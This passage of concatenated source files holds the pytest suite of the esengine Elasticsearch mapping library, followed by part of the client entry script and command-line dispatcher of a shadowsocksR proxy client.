test_raise_if_attr_not_in_fields(): class Doc(BaseDocument): _doctype = 'test' _index = 'test' _fields = {} with pytest.raises(KeyError) as ex: Doc(asdf='0') assert str(ex.value) == "'`{}` is an invalid field'".format('asdf') def test_doc_setattr_(): def pass_func(self, ignore=None): pass class Doc(BaseDocument): _doctype = 'test' _index = 'test' _fields = {"asdf": 1} Doc._initialize_defaults_fields = pass_func doc = Doc() with pytest.raises(AttributeError) as ex: doc.asdf = "0" assert ex.message == "'int' object has no attribute 'from_dict'" doc.__setattr__('_test', 10) assert doc._test == 10 def test_doc_initialize_multi_fields(): class Doc(BaseDocument): _doctype = 'test' _index = 'test' _fields = { 'multiple': BaseField(field_type=int, multi=True), 'simple': BaseField(field_type=int) } doc = Doc() assert doc.multiple == [] assert doc.simple is None def test_doc_to_dict(): class Doc(BaseDocument): _doctype = 'test' _index = 'test' _fields = { 'multiple': BaseField(field_type=int, multi=True), 'simple': BaseField(field_type=int) } doc = Doc(multiple=[1, 2], simple=10) assert doc.to_dict() == {'multiple': [1, 2], 'simple': 10} def test_doc_to_dict_call_validate(): class Doc(BaseDocument): _doctype = 'test' _index = 'test' _strict = True _fields = { 'multiple': BaseField(field_type=int, multi=True, field_name='multiple'), 'simple': BaseField(field_type=int, field_name='simple') } doc = Doc(multiple=[1, 2], simple="10") with pytest.raises(FieldTypeMismatch) as ex: doc.to_dict() assert str(ex.value) == ( "`simple` expected `" + str(int) + "`, actual `" + str(str) + "`" ) def test_doc_from_dict(): class Doc(BaseDocument): _doctype = 'test' _index = 'test' _fields = { 'multiple': BaseField(field_type=int, multi=True), 'simple': BaseField(field_type=int) } dict_doc = {'multiple': [1, 2], 'simple': 10} doc = Doc.from_dict(dict_doc) assert doc.multiple == [1, 2] assert doc.simple == 10 --- FILE SEPARATOR --- import pytest from esengine.bases.field import BaseField from esengine.exceptions import RequiredField, InvalidMultiField from esengine.exceptions import FieldTypeMismatch def test_raise_when_required_fild_has_empty_value(): field = BaseField(required=True, field_name="test") with pytest.raises(RequiredField) as ex: field.validate(None) assert str(ex.value) == "test" field = BaseField(required=False, field_name="test") field.validate(None) def test_raise_when_multi_fild_is_not_iterable(): field = BaseField(field_type=int, multi=True, field_name="test") field.validate([10]) with pytest.raises(InvalidMultiField) as ex: field.validate(10) assert str(ex.value) == "test" def test_raise_when_multi_fild_type_missmatch(): field = BaseField(field_type=int, multi=True, field_name="test") with pytest.raises(FieldTypeMismatch) as ex: field.validate([10, 'asdf']) assert str(ex.value) == "`test` expected `" + str(int) + "`, actual `" + str(str) + "`" # noqa def test_raise_when_nom_iterable_is_passed_to_multi(): field = BaseField(field_type=int, required=False, field_name="test") field.validate(10) with pytest.raises(FieldTypeMismatch) as ex: field.validate([10]) assert str(ex.value) == "`test` expected `" + str(int) + "`, actual `" + str(list) + "`" # noqa def test_to_dict_return_same_value(): field = BaseField(field_type=int, multi=True, field_name="test") x = [10, 11] assert field.to_dict(x) is x field = BaseField(field_type=int, multi=False, field_name="test") x = 10 assert field.to_dict(x) is x def test_from_dict_cast(): field = BaseField(field_type=int, multi=False) x = '10' assert field.from_dict(x) == int(x) field = BaseField(field_type=int, multi=True) x = ['10', '11', '12'] assert field.from_dict(x) == [int(a) for a in x] def test_base_field_set_attr(): field = BaseField(field_type=int, multi=False, asdf=10) assert field.asdf == 10 --- FILE SEPARATOR --- import pytest from esengine.bases.py3 import * # noqa from esengine.document import Document from esengine.fields import KeywordField, IntegerField from esengine.exceptions import ClientError, ValidationError, RequiredField def test_build_result(Doc, MockES): resp = MockES().search(index='index', doc_type='doc_type', size=2) results = Doc.build_result(resp, es=MockES(), size=2) for res in results: # print res, res.id assert res.id in MockES.test_ids def test_doc_search(Doc, QUERY, MockES): docs = Doc.search(QUERY, es=MockES(), size=2) for doc in docs: assert doc.id in MockES.test_ids def test_doc_search_with_script_fields(Doc, QUERY_SCRIPT_FIELDS, MockESf, FIELD_NAME): docs = Doc.search(QUERY_SCRIPT_FIELDS, es=MockESf()) for doc in docs: query_fields = doc._query_fields assert FIELD_NAME in query_fields assert query_fields[FIELD_NAME] in MockESf.double_ids def test_document_save(Doc, MockES): Doc(id=MockES.test_id).save(es=MockES()) def test_get_with_id(Doc, MockES): assert Doc.get(id=MockES.test_id, es=MockES()).id == MockES.test_id def test_doc_get(Doc, MockES): doc = Doc.get(id=MockES.test_id, es=MockES()) assert doc.id == MockES.test_id def test_filter_by_ids(Doc, MockES): docs = Doc.filter(ids=MockES.test_ids, es=MockES()) for doc in docs: assert doc.id in MockES.test_ids def test_raise_if_filter_by_ids_and_filters(Doc, MockES): with pytest.raises(ValueError): Doc.filter(ids=MockES.test_ids, es=MockES(), filters={"name": "Gonzo"}) def test_update_all(DocWithDefaultClient, QUERY, eh): docs = DocWithDefaultClient.search(QUERY, size=2) DocWithDefaultClient.update_all(docs, document_id=1) def test_delete_all(DocWithDefaultClient, QUERY, eh): docs = DocWithDefaultClient.search(QUERY, size=2) DocWithDefaultClient.delete_all(docs) def test_save_all(Doc, MockES, eh): docs = [ Doc(id=doc) for doc in MockES.test_ids ] Doc.save_all(docs, es=MockES()) def test_client_not_defined(Doc, MockES): doc = Doc(id=MockES.test_id) with pytest.raises(ClientError): doc.save() def test_default_client(DocWithDefaultClient, MockES): try: doc = DocWithDefaultClient(id=MockES.test_id) doc.save() DocWithDefaultClient.get(id=MockES.test_id) except ClientError: pytest.fail("Doc has no default connection") def test_get_es_with_invalid_client(Doc): with pytest.raises(ClientError): Doc.get_es(int) def test__es_is_invalid(Doc): class DocWithInvalidES(Doc): _es = int with pytest.raises(ClientError): DocWithInvalidES.get_es(None) def test_unicode_representation(Doc, MockES): doc = Doc(id=MockES.test_id) assert doc.__unicode__() == u"<D {'id': 100}>" def test_str_representation(Doc, MockES): doc = Doc(id=MockES.test_id) assert doc.__str__() == "<D {'id': 100}>" def test_default_client_injected(Doc, MockES): try: Doc._es = MockES() doc = Doc(id=MockES.test_id) doc.save() Doc.get(id=MockES.test_id) except ClientError: pytest.fail("Doc has no default connection") def test_default_client_injected_as_lambda(Doc, MockES): try: Doc._es = classmethod(lambda cls: MockES()) doc = Doc(id=MockES.test_id) doc.save() Doc.get(id=MockES.test_id) except ClientError: pytest.fail("Doc has no default connection") def test_compare_attributed_values_against_fields(DocWithDefaultClient, MockES): doc = DocWithDefaultClient(id=MockES.test_id) doc.document_id = 123456 doc.house_number = "42" with pytest.raises(KeyError): # invalid field doc.name = 'Bruno' with pytest.raises(ValueError): # uncastable doc.height = "2 mtrs" # TODO: commented asserts will be possible when move to descriptors # Because only with descriptors we can overwrite compare methods assert doc.house_number == 42 # assert doc.house_number == "42" # assert doc.house_number in ['42'] assert doc.house_number in [42] assert not doc.house_number != 42 # assert not doc.house_number != "42" # assert doc.document_id == 123456 assert doc.document_id == "123456" assert doc.document_id in ['123456'] # assert doc.document_id in [123456] # assert not doc.document_id != 123456 assert not doc.document_id != "123456" def test_validators(MockES): def if_city_state_is_required(obj): if obj.city and not obj.state: raise ValidationError("If city, state is required") def max_len_10(field_name, value): if len(value) > 10: raise ValidationError("Invalid Length") class Address(Document): _doctype = "doc_type" _index = "index" _es = MockES() _validators = [if_city_state_is_required] street = KeywordField(validators=[max_len_10]) number = IntegerField(required=True) city = KeywordField() state = KeywordField() # Invalid Street Length doc = Address( street="22, Acacia Avenue", city="London", state="WestMinster", number=10 ) with pytest.raises(ValidationError) as ex: doc.save() assert str(ex.value) == 'Invalid Length' # Required field missing doc = Address( street="Acacia Av", city="London", state="WestMinster" ) with pytest.raises(RequiredField) as ex: doc.save() assert str(ex.value) == 'number' # City and not state doc = Address( street="Acacia Av", city="London", number=22 ) with pytest.raises(ValidationError) as ex: doc.save() assert str(ex.value) == "If city, state is required" # Valid document doc = Address( id="100", street="Acacia Av", city="London", state="WestMinster", number=22 ) # to_dict calls validation assert doc.to_dict() == dict( id="100", street="Acacia Av", city="London", state="WestMinster", number=22 ) --- FILE SEPARATOR --- import pytest from esengine.embedded_document import EmbeddedDocument from esengine.exceptions import RequiredField, InvalidMultiField from esengine.exceptions import FieldTypeMismatch from esengine.fields import IntegerField class TowFields(EmbeddedDocument): x = IntegerField() y = IntegerField() def test_pass_none_to_to_dict(): field = TowFields() assert field.to_dict(None) is None def test_to_dict(): field = TowFields(x=10, y=15) assert field.to_dict(field) == {'x': 10, 'y': 15} def test_multi_to_dict(): field = TowFields(multi=True, x=10, y=15) assert field.to_dict([field, field]) == [ {'x': 10, 'y': 15}, {'x': 10, 'y': 15} ] def test_raise_when_validate_is_not_multi_field(): field = TowFields(multi=True, field_name="test") with pytest.raises(InvalidMultiField) as ex: field.validate(10) assert str(ex.value) == "test" def test_raise_when_validate_required_field(): field = TowFields(required=True, field_name="test") with pytest.raises(RequiredField) as ex: field.validate(None) assert str(ex.value) == "test" def test_validate(): field = TowFields(x=10, y=15, field_name="test") field.validate(field) def test_validate_multi(): field = TowFields(multi=True, x=10, y=15, field_name="test") field.validate([field, field]) def test_raise_when_multi_fild_type_missmatch(): field = TowFields(multi=True, field_name="test") with pytest.raises(FieldTypeMismatch) as ex: field.validate([10, 'asdf']) tmpl = "`{field._field_name}` expected `{field._type}`, actual `" + str(int) + "`" # noqa assert str(ex.value) == tmpl.format( field=field ) def test_none_from_dict(): field = TowFields() assert field.from_dict(None) is None def test_from_dict(): field = TowFields() value = field.from_dict({'y': 10, 'x': 15}) assert value.x == 15 assert value.y == 10 value = field.from_dict({'y': '11', 'x': '1'}) assert value.x == 1 assert value.y == 11 def test_multi_from_dict(): field = TowFields(multi=True) dct_serialized_list = [{'y': 10, 'x': 15}, {'y': 1, 'x': 2}] values = field.from_dict(dct_serialized_list) for i, value in enumerate(values): assert value.x == dct_serialized_list[i]['x'] assert value.y == dct_serialized_list[i]['y'] --- FILE SEPARATOR --- import pytest from esengine.bases.py3 import * # noqa from datetime import datetime from esengine import Document from esengine.fields import ( DateField, GeoPointField, ArrayField, LongField, KeywordField ) from esengine.exceptions import ValidationError, FieldTypeMismatch import sys def test_date_field_to_dict(): date = datetime.strptime("2015-01-15 00:01:59", "%Y-%m-%d %H:%M:%S") field = DateField(date_format="%Y-%m-%d %H:%M:%S") assert field.to_dict(date) == "2015-01-15 00:01:59" def test_date_field_from_dict(): str_date = "2015-01-15 00:01:59" date = datetime.strptime(str_date, "%Y-%m-%d %H:%M:%S") field = DateField(date_format="%Y-%m-%d %H:%M:%S") assert field.from_dict(date) == date assert field.from_dict(str_date) == date with pytest.raises(ValueError) as ex: field.from_dict(10) assert str(ex.value) == "Expected str or date. " + str(int) + " found" def test_date_multi_field_from_dict(): str_date = "2015-01-15 00:01:59" date = datetime.strptime(str_date, "%Y-%m-%d %H:%M:%S") dates = [str_date, date] field = DateField(multi=True, date_format="%Y-%m-%d %H:%M:%S") assert field.from_dict(dates) == [date, date] with pytest.raises(ValueError) as ex: field.from_dict([10]) assert str(ex.value) == "Expected str or date. " + str(int) + " found" def test_geo_field_dict_type(): field = GeoPointField(field_name='test') value = { "lat": 40.722, "lon": -73.989 } assert field.to_dict(value) == value def test_geo_field_dict_lon_missing(): field = GeoPointField(field_name='test') value = { "lat": 40.722 } with pytest.raises(ValidationError) as ex: field.to_dict(value) assert str(ex.value) == "test: lon requires a float" def test_geo_field_dict_lat_missing(): field = GeoPointField(field_name='test') value = { "lon": -40.722 } with pytest.raises(ValidationError) as ex: field.to_dict(value) assert str(ex.value) == "test: lat requires a float" def test_geo_field_dict_invalid_lat_type(): field = GeoPointField(field_name='test') value = { "lat": '40.722', "lon": -73.989 } with pytest.raises(ValidationError) as ex: field.to_dict(value) assert str(ex.value) == "test: lat requires a float" def test_geo_field_dict_invalid_lon_type(): field = GeoPointField(field_name='test') value = { "lat": 40.722, "lon": list } with pytest.raises(ValidationError) as ex: field.to_dict(value) assert str(ex.value) == "test: lon requires a float" def test_geo_field_dict_invalid_type(): field = GeoPointField(field_name='test') value = [-73.989, 40.722] with pytest.raises(FieldTypeMismatch) as ex: field.to_dict(value) assert str(ex.value) == "`test` expected `" + str(dict) + "`, actual `" + str(list) + "`" # noqa def test_geo_field_string_type(): field = GeoPointField(field_name='test', mode='string') value = u"40.715, -74.011" assert field.to_dict(value) == value def test_geo_field_string_value_missing(): field = GeoPointField(field_name='test', mode='string') value = u"40.715" with pytest.raises(ValidationError) as ex: field.to_dict(value) assert str(ex.value) == '2 elements "lat,lon" required in test' def test_geo_field_string_invalid_type(): field = GeoPointField(field_name='test', mode='string') value = u"asdf, error" with pytest.raises(ValueError) as ex: field.to_dict(value) msg = 'could not convert string to float: asdf' if sys.version_info > (3,): msg = "could not convert string to float: 'asdf'" assert str(ex.value) == msg def test_geo_field_array_type(): field = GeoPointField(field_name='test', mode='array') value = [40.715, -74.011] assert field.to_dict(value) == value def test_geo_field_array_value_missing(): field = GeoPointField(field_name='test', mode='array') value = [40.715] with pytest.raises(ValidationError) as ex: field.to_dict(value) assert str(ex.value) == '2 elements [lon, lat] required in test' def test_geo_field_array_invalid_type(): field = GeoPointField(field_name='test', mode='array') value = [40.715, list] with pytest.raises(FieldTypeMismatch) as ex: field.to_dict(value) msg = "`test` expected `<type 'float'>`, actual `<type 'type'>`" if sys.version_info > (3,): msg = "`test` expected `<class 'float'>`, actual `<class 'type'>`" assert str(ex.value) == msg def test_geo_field_dict_multi(): field = GeoPointField(field_name='test', multi=True) value = [ { "lat": 40.722, "lon": -73.989 }, { "lat": 40.722, "lon": -73.989 }, { "lat": 40.722, "lon": -73.989 } ] assert field.to_dict(value) == value def test_geo_field_string_type_multi(): field = GeoPointField(field_name='test', mode='string', multi=True) value = [u"40.715, -74.011", u"40.715, -74.011", u"40.715, -74.011"] assert field.to_dict(value) == value def test_geo_field_array_type_multi(): field = GeoPointField(field_name='test', mode='array', multi=True) value = [[40.715, -74.011], [40.715, -74.011], [40.715, -74.011]] assert field.to_dict(value) == value def test_geo_field_dict_multi_invalid(): field = GeoPointField(field_name='test', multi=True) value = [ { "lat": 40.722, "lon": -73.989 }, { "lat": 40.722, "lon": -73.989 }, { "lat": 40.722 } ] with pytest.raises(ValidationError) as ex: field.to_dict(value) assert str(ex.value) == "test: lon requires a float" def test_geo_field_string_type_multi_invalid(): field = GeoPointField(field_name='test', mode='string', multi=True) value = [u"40.715, -74.011", u"40.715, -74.011", u"40.715"] with pytest.raises(ValidationError) as ex: field.to_dict(value) assert str(ex.value) == '2 elements "lat,lon" required in test' def test_geo_field_array_type_multi_invalid(): field = GeoPointField(field_name='test', mode='array', multi=True) value = [[40.715, -74.011], [40.715], [40.715, -74.011]] with pytest.raises(ValidationError) as ex: field.to_dict(value) assert str(ex.value) == '2 elements [lon, lat] required in test' def test_geo_field_array_type_multi_invalid_type(): field = GeoPointField(field_name='test', mode='array', multi=True) value = [[40.715, -74.011], [40.715], list] with pytest.raises(FieldTypeMismatch) as ex: field.to_dict(value) msg = "`test` expected `<type 'float'>`, actual `<type 'type'>`" if sys.version_info > (3,): msg = "`test` expected `<class 'float'>`, actual `<class 'type'>`" assert str(ex.value) == msg def test_array_field(): class DocWithArrays(Document): _index = 'text_indice' _doctype = 'DocWithArrays' date_array = ArrayField(DateField()) long_array = ArrayField(LongField()) str_array = ArrayField(KeywordField()) empyt_array = ArrayField(KeywordField()) example = { "date_array": ["2016-10-04 15:15:05", u'1967-07-28'], "long_array": [10, 20, '42'], "str_array": ['asdf'], "empyt_array": [] } doc = DocWithArrays.from_dict(example) dates = [ datetime.strptime(example["date_array"][0], "%Y-%m-%d %H:%M:%S"), datetime.strptime(example["date_array"][1], "%Y-%m-%d") ] assert doc.date_array == dates assert doc.long_array == [long(x) for x in example["long_array"]] assert doc.str_array == example["str_array"] assert doc.empyt_array == example["empyt_array"] def test_date_field_from_dict_accept_none(): field = DateField(multi=True) serialized = [None] assert field.from_dict(serialized) == [] --- FILE SEPARATOR --- from esengine import ( Document, Mapping, IntegerField, LongField, KeywordField, FloatField, DateField, BooleanField, GeoPointField ) class BaseDoc(Document): _index = 'index' @classmethod def put_mapping(cls, *args, **kwargs): cls.called = True class Doc(BaseDoc): _doctype = 'doc_type' integerfield = IntegerField() longfield = LongField() KeywordField = KeywordField() floatfield = FloatField() datefield = DateField() booleanfield = BooleanField() geopointfield = GeoPointField() class Doc1(BaseDoc): _doctype = 'doc_type1' integerfield = IntegerField() class DocDate(Doc): datefield = DateField(mapping={'format': 'yyyy-MM-dd||epoch_millis'}) def test_mapping(): mapping = Mapping(Doc) assert mapping.generate() == { 'doc_type': { '_all': {'enabled': True}, 'properties': { 'booleanfield': {'type': 'boolean'}, 'datefield': { 'type': 'date' }, 'floatfield': {'type': 'float'}, 'geopointfield': {'type': 'geo_point'}, 'integerfield': {'type': 'integer'}, 'longfield': {'type': 'long'}, 'KeywordField': { "index": "analyzed", "store": "yes", 'type': 'string' } } } } def test_change_format(): mapping = Mapping(DocDate, enable_all=False).generate() pattern = 'yyyy-MM-dd||epoch_millis' assert mapping['doc_type']['_all']['enabled'] is False assert mapping['doc_type']['properties']['datefield']['format'] == pattern def test_configure_prerequiriments(): mapping = Mapping() try: mapping.configure(10, None) except AttributeError as e: assert str(e) == 'models_to_mapping must be iterable' def test_configure_prerequiriments_throw_on_index_existence(): mapping = Mapping() try: models = [Doc, Doc1] es = ESMock() es.indices.exists_ret = True mapping.configure(models, True, es) except ValueError as e: assert str(e) == 'Settings are supported only on index creation' def test_configure_without_settings(): mapping = Mapping() models = [Doc, Doc1] mapping.configure(models, None) for model in models: assert model.called def test_configure(): mapping = Mapping() models = [Doc, Doc1] es = ESMock() es.indices.exists_ret = False settings = { "asdf": 'This is a test', "analyzer": { "my_analizer": "Another test" } } mapping.configure(models, settings, es) expected_mappings = { 'doc_type': { '_all': {'enabled': True}, 'properties': { 'booleanfield': {'type': 'boolean'}, 'datefield': { 'type': 'date' }, 'floatfield': {'type': 'float'}, 'geopointfield': {'type': 'geo_point'}, 'integerfield': {'type': 'integer'}, 'longfield': {'type': 'long'}, 'KeywordField': { "index": "analyzed", "store": "yes", 'type': 'string' } } }, 'doc_type1': { '_all': {'enabled': True}, 'properties': { 'integerfield': {'type': 'integer'}, } } } expected_output = { "mappings": expected_mappings, "settings": settings } assert es.indices.create_return['index'] == expected_output class ESMock(object): class Indice(object): exists_ret = False def exists(self, *args, **kwargs): return self.exists_ret def create(self, index, body): try: self.create_return[index] = body except: self.create_return = {} self.create_return[index] = body indices = Indice() def index(self, *args, **kwargs): pass def search(self, *args, **kwargs): pass def get(self, *args, **kwargs): pass --- FILE SEPARATOR --- from esengine.bases.metaclass import ModelMetaclass from esengine.bases.field import BaseField from esengine.embedded_document import EmbeddedDocument from six import with_metaclass def test_derived_class_has_fields_attr(): class NoFields(with_metaclass(ModelMetaclass, object)): pass assert hasattr(NoFields, '_fields') assert len(NoFields._fields) == 0 def test_derived_class_has_correct_field_attr(): class OneField(with_metaclass(ModelMetaclass, object)): pass field = BaseField(field_type=int, required=False, multi=False) assert hasattr(OneField, '_fields') assert len(OneField._fields) == 1 assert 'field' in OneField._fields assert isinstance(OneField._fields['field'], BaseField) assert isinstance(OneField.field, BaseField) def test_has_typefield_if_is_EmbeddedDocument(): # noqa obj = ModelMetaclass.__new__( ModelMetaclass, 'name_test', (EmbeddedDocument,), {} ) assert hasattr(obj, '_type') assert getattr(obj, '_type') is obj def test_id_injected_when_autoid(): class Base(with_metaclass(ModelMetaclass, object)): _autoid = True class Derived(Base): pass assert hasattr(Derived, 'id') def test_id_not_injected_when_not_autoid(): class Base(with_metaclass(ModelMetaclass, object)): _autoid = False class Derived(Base): pass assert not hasattr(Derived, 'id') --- FILE SEPARATOR --- from esengine.utils.payload import Payload, Filter, Query def test_query_must_not_by_ids(): raw_query = { 'query': { 'bool': { 'must': [ { 'bool': { 'must_not': [ {'ids': {'values': [25, 26]}} ] } } ] } } } payload = Payload( query=Query.bool( must=[Query.bool(must_not=[Query.ids([25, 26])])] ) ) assert payload.dict == raw_query def test_filter_must_terms_must_not_ids(): raw_query = { 'query': { 'filtered': { 'filter': { 'bool': { 'must': [ {'terms': {'field': ['this', 'that', 'other']}} ], 'must_not': [{'ids': {'values': [25, 26]}}] } } } } } payload = Payload( filter=Filter.bool( must=[Filter.terms('field', ['this', 'that', 'other'])], must_not=[Filter.ids([25, 26])] ) ) assert payload.dict == raw_query def test_arbitrary_arguments_to_query(): raw_query = {'query': {'bool': {'minimum_should_match': 1}}} payload = Payload() payload.query(Query.bool(minimum_should_match=1)) assert payload.dict == raw_query --- FILE SEPARATOR --- import pytest from esengine.bases.result import ResultSet from esengine.bases.result import HITS def test_resultset_has_values(MockES, INDEX, DOC_TYPE, Doc): resp = MockES().search(index=INDEX, doc_type=DOC_TYPE, size=2) results = ResultSet( resp=resp, model=Doc ) assert results._values == [obj for obj in resp['hits']['hits']] for result in results: assert result.id in MockES().test_ids def test_get_item_by_index(DocWithDefaultClient, MockES, QUERY): results = DocWithDefaultClient.search(QUERY) assert results[0].id == MockES().test_ids[0] def test_get_item_by_index_1(DocWithDefaultClient, MockES, QUERY): results = DocWithDefaultClient.search(QUERY) assert results[-1].id == MockES().test_ids[-1] def test_assert_hits(): assert HITS == 'hits' def test_resultset_extract_meta(Doc): resultset = ResultSet({}, Doc) resp = { HITS: { HITS: '', 'c': 'd' }, 'a': 'a', 'b': 'c' } meta = resultset._extract_meta(resp) assert meta == { 'a': 'a', 'b': 'c', HITS: {'c': 'd'} } --- FILE SEPARATOR --- import pytest from esengine.utils import validate_client from esengine.exceptions import ClientError class InvalidInterfaceClient(object): pass class InvalidClient(object): index = 1 search = 2 get = 3 class Client(object): def index(self, *args, **kwargs): return {"_id": 1, "created": True} def search(self, query): return query def get(self, *args, **kwargs): return {"_id": 1} def test_valid_es_client(): try: validate_client(Client()) except ClientError as e: pytest.fail(e) def test_raise_on_none_client(): with pytest.raises(ClientError): validate_client(None) def test_raise_when_invalid_client(): with pytest.raises(ClientError): validate_client(InvalidClient()) def test_client_invalid_interface(): with pytest.raises(ClientError): validate_client(InvalidInterfaceClient())
[ "/docs/conf.py", "/esengine/__init__.py", "/esengine/bases/document.py", "/esengine/bases/field.py", "/esengine/bases/metaclass.py", "/esengine/bases/py3.py", "/esengine/bases/result.py", "/esengine/document.py", "/esengine/embedded_document.py", "/esengine/exceptions.py", "/esengine/fields.py", "/esengine/mapping.py", "/esengine/utils/__init__.py", "/esengine/utils/example.py", "/esengine/utils/pagination.py", "/esengine/utils/payload/__init__.py", "/esengine/utils/payload/aggregates.py", "/esengine/utils/payload/base.py", "/esengine/utils/payload/exception.py", "/esengine/utils/payload/filters.py", "/esengine/utils/payload/meta.py", "/esengine/utils/payload/queries.py", "/esengine/utils/validation.py", "/example.py", "/setup.py", "/tests/conftest.py", "/tests/test_base_document.py", "/tests/test_base_field.py", "/tests/test_document.py", "/tests/test_embedded_document.py", "/tests/test_fields.py", "/tests/test_mapping.py", "/tests/test_metaclass.py", "/tests/test_payload.py", "/tests/test_results.py", "/tests/test_utils.py" ]
0mco/shadowsocksR
def getKeys(key_list): return key_list #return key_list + ['plan'] # append the column name 'plan' def isTurnOn(row): return True #return row['plan'] == 'B' # then judge here --- FILE SEPARATOR --- #!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2012-2015 clowwindy # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from __future__ import absolute_import, division, print_function, \ with_statement import os, sys import logging file_dir = os.path.dirname(os.path.realpath(__file__)) log_dir = os.path.realpath(os.path.join(file_dir, '../log')) if __name__ == '__main__': sys.path.insert(0, os.path.join(file_dir, '../../')) # NOTE: add '../../' to path if you want to execute directly. from shadowsocks.lib import shell from shadowsocks.core import service logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='[%m-%d %H:%M]', filename=os.path.join(log_dir, 'client.log'), filemode='w') console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') console.setFormatter(formatter) logging.getLogger('').addHandler(console) def main(): shell.check_python() shell.startup_init() # fix py2exe if hasattr(sys, "frozen") and sys.frozen in \ ("windows_exe", "console_exe"): p = os.path.dirname(os.path.realpath(sys.executable)) os.chdir(p) client = service.Client() client.start() if __name__ == '__main__': main() --- FILE SEPARATOR --- from shadowsocks.lib.ssrlink import decode_ssrlink, encode_to_link from shadowsocks.lib import shell from shadowsocks.core import daemon, network from shadowsocks.lib.shell import print_server_info # won't work, because it will not automatically execute. # def register(func): # def decorated(self, *args, **kwargs): # funcname = str(func).split('.')[1].split(' ')[0] # self.SUBCMDS.update({funcname: func}) # print(self.SUBCMDS) # print('*' * 40) # return func(self, *args, **kwargs) # # return decorated class BaseCommands: """Abstract Commands class, subclass should call super.__init__(), and then initialize SUBCMDS, and at the end of __init__, call self._execute(). All method that are not started with underline will be automatically added to self.SUBCMDS with the funciton name, if you want to use other name, you can update the self.SUBCMDS dict in your __init__().""" # TODO: automatically add function to SUBCMDS dict. def __init__(self, cmd, target, args): self.cmd = cmd self.target = target self.args = args if not hasattr(self, 'SUBCMDS'): self.SUBCMDS = {} for method in dir(self): if callable(getattr(self, method)) and not method.startswith('_'): if method not in self.SUBCMDS: self.SUBCMDS.update({method: getattr(self, method)}) self._execute() def _execute(self): # subcmd = args.subcmd.lower() cmd = self.cmd.lower() if cmd in self.SUBCMDS: self.SUBCMDS[cmd]() else: self._wrong_cmd() def _wrong_cmd(self): """handler fo wrong command, override by subclass.""" print('command `{}` is not implemented yet'.format(self.cmd)) print('those commands are currently implemented:', *self.SUBCMDS.keys()) class Commands(BaseCommands): def __init__(self, cmd, target, args): super().__init__(cmd, target, args) # @register def server(self): target, args = self.target, self.args ServerCommands(args.subcmd, target, args) def feed(self): target, args = self.target, self.args FeedCommands(args.subcmd, target, args) def status(self): target, args = self.target, self.args if hasattr(args, 'subcmd'): StatusCommands(args.subcmd, target, args) else: StatusCommands('info', target, args) def config(self): target, args = self.target, self.args ConfigCommands(args.subcmd, target, args) class ServerCommands(BaseCommands): def __init__(self, cmd, target, args): super().__init__(cmd, target, args) def list(self): target = self.target ssrs = target.get_server_list() servers = [decode_ssrlink(ssr) for ssr in ssrs] header = ' ' * 40 + 'SERVER LIST' + ' ' * 40 print_server_info( servers, header=header, indexed=True, verbose=True, hightlight=True) def _test_switch(self): target = self.target # When network error, switch ssr randomly # signal.signal(shell.SIGNAL1, self.random_switch_ssr) # test switch ssr ssrs = target.get_server_list() first = True import time for ssr in ssrs: config_from_link = decode_ssrlink(ssr) config = shell.parse_config(True, config_from_link) # config['daemon'] = 'start' print_server_info(config) if first: target.network = network.ClientNetwork(config) target.network.start() first = False else: target.network.switch(config) time.sleep(20) print('all ssr tested') def switch(self): import os pid = daemon.get_daemon_pid() if pid is not None: os.kill(pid, shell.SIGNAL1) # notify process with this pid to switch # FIXME: it will switch only when autoswitch is set :( else: print('daemon not started') def connect(self): target = self.target ssr = target.get_server_list()[0] config_from_link = decode_ssrlink(ssr) config = shell.parse_config(True, config_from_link) daemon.daemon_exec(config) target.network = network.ClientNetwork(config) target.network.start() def start(self): target = self.target ssr = target.get_server_list()[0] if self.args.addr: ssr = target.get_server_by_addr(self.args.addr) config_from_link = decode_ssrlink(ssr) config = shell.parse_config(True, config_from_link) target.config = config target.server_link = ssr if self.args.d: daemon.daemon_start() print_server_info(target.config, verbose=True, hightlight=True) target.network = network.ClientNetwork(target.config) target.network.start() def add(self): if self.args.L: link = self.args.L else: # config = {} # config['server'] = input('sever address:') # config['server_port'] = input('sever port:') # config['protocol'] = input('protocol:') # config['method'] = input('method:') # config['obfs'] = input('obfs:') # config['password'] = input('password:') config = shell.parse_config(True) link = encode_to_link(config) print(link) return self.target.config.add_server(link) def remove(self): server_list = self.target.config.get_server() choice = user_chooice( server_list, message='please input the number which you want to remove') choice = int(choice) - 1 del server_list[choice] self.target.config.update_server_list(server_list) pass def stop(self): daemon.daemon_stop() def restart(self): self.stop() self.start() def status(self): """print network information (ping/connectivity) of servers.""" pass def rediscover(self): target = self.target for link in target.get_dead_server_list(): server_config = decode_ssrlink(link) latency = network.ping(server_config['server'], int(server_config['server_port'])) print('server %s:%s\t\tlatency: %.2f' % (server_config['server'], server_config['server_port'], latency)) if latency != float('inf'): print('move server to alive group') target.config_manager.set_server_valid(link) def filter(self): target = self.target for link in target.get_server_list(): server_config = decode_ssrlink(link) latency = network.ping(server_config['server'], int(server_config['server_port'])) print('server %s:%s\t\tlatency: %.2f' % (server_config['server'], server_config['server_port'], latency)) if latency == float('inf'): print('move server to dead group') target.config_manager.set_server_dead(link) class FeedCommands(BaseCommands): def __init__(self, cmd, target, args): super().__init__(cmd, target, args) def fetch(self): target = self.target target.fetch_server_list() def add(self): target, args = self.target, self.args if not args.source: args.source = input('Please input source address:') target.add_feed_source(args.source) def list(self): target = self.target sources = target.get_source_list() for source in sources: print(source) def remove(self): # print list, index by number, select number to remove. pass class StatusCommands(BaseCommands): def __init__(self, cmd, target, args): super().__init__(cmd, target, args) def info(self): print('this is status info') class ConfigCommands(BaseCommands): # TODO: maybe change command name to toggle def __init__(self, cmd, target, args): if not hasattr(self, 'SUBCMDS'): self.SUBCMDS = {'import': self._import} else: self.SUBCMDS.update({'import': self._import}) # import is python keyword, we need toadd `import` command # manually to self.SUBCMDS. super().__init__(cmd, target, args) def autostart(self): # TODO: config autostart yes/no autostart = self.target.config_manager.get_auto_startup_config() if autostart: 